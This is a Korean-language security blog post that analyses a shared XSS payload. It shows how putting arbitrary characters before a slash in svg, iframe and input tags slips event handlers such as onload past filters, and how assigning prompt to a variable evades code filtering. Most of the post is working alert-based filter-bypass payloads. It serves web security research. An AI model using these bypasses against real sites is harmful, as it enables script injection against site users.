Bypass XSS Protection (Event Handler filtering) with string+slash(XSS 우회기법)

어제(?) 아침 단톡방에 oioi로 부터 XSS 페이로드를 하나 공유받았습니다.

<svg </onload =”1> (=prompt,(1)) “”>

특이한 부분이 2가지가 있는데, 내용 한번 살펴보도록 하겠습니다.

저 순간은 굉장히 신기했지만.. 지금은 조금 허무합니다 =_=

Event Handler 우회 패턴

기존 svg/onload 구문과 유사하지만, 이벤트 핸들러 필터링을 우회할 수 있고, 구문 필터링 또한 어느정도 제어가 가능합니다.

<svg </onload ="1> (_=prompt,_(1)) "">

첫번째로 눈여겨 봐야할 부분은 </ 로 onload를 이벤트 핸들러로 넘겨준 방법입니다. 처음에는 (_=prompt 구문이랑 조합이 되어서 필터링이 풀리나 생각이 들었는데, 아래와 같이 제외하고 사용하여도 동작합니다.

<svg </onload ="1> alert(45) "">

<svg </onload ="alert(45) ">

뒤쪽 페이로드 부분이랑은 상관이 없다 소리니, 즉 </ 특수문자가 이벤트핸들러로 만들어 줄 수 있다는 의미로 해석됩니다.

<svg ^/onload =" alert(45) "> 

<svg &/onload =" alert(45) ">

<svg */onload =" alert(45) ">

<svg %/onload =" alert(45) ">

<svg $/onload =" alert(45) ">

<svg #/onload =" alert(45) ">

<svg @/onload =" alert(45) ">

<svg !/onload =" alert(45) ">

<svg hahwul/onload =" alert(45) ">

<iframe hahwul/src ="javascript:alert(45)">

<iframe hahwul/onmouseover =" alert(45) " scr=z>

<input hahwul/onfocus="alert(45)" autofocus>

모두 alert(45)가 실행됩니다. 즉 태그와 / 사이에 문자가 들어가는 경우 마치 태그와 /가 붙어있는 것 처럼 속성으로 분리되고 정상적이지 않은 이벤트 핸들러 처럼 보이는 동작하는 이벤트 핸들러를 만들 수 있습니다.

다만 모든 태그에서 가능한 것은 아닙니다. 이미지 태그로는 안되네요.

<img hahwul/onerror =" alert(45) " scr=z>  <!-- Not Running -->

정리하자면, slash 앞에 문자열이 들어가는 경우 정상적인 이벤트 핸들러로 인지합니다.

자바스크립트 구간 1> (=prompt,(1))

두번째 포인트는 Javascript 코드 부분입니다.

1> (_=prompt,_(1)) 

내용만 보면 1과 (=prompt,(1)) 를 비교합니다. 앞부분은 중요하지 않고 핵심이 되는 부분은 (=prompt,(1)) 인데요. 구문을 콘솔로 보니…

어? _ 에 function이 들어갔네요. 결국은 _ 라는 변수에 prompt 함수를 넣고 _(1) 형태로 실행한 케이스입니다. 간단한 트릭이지만 코드단 필터링을 푸는데는 도움이 되는 부분이긴합니다.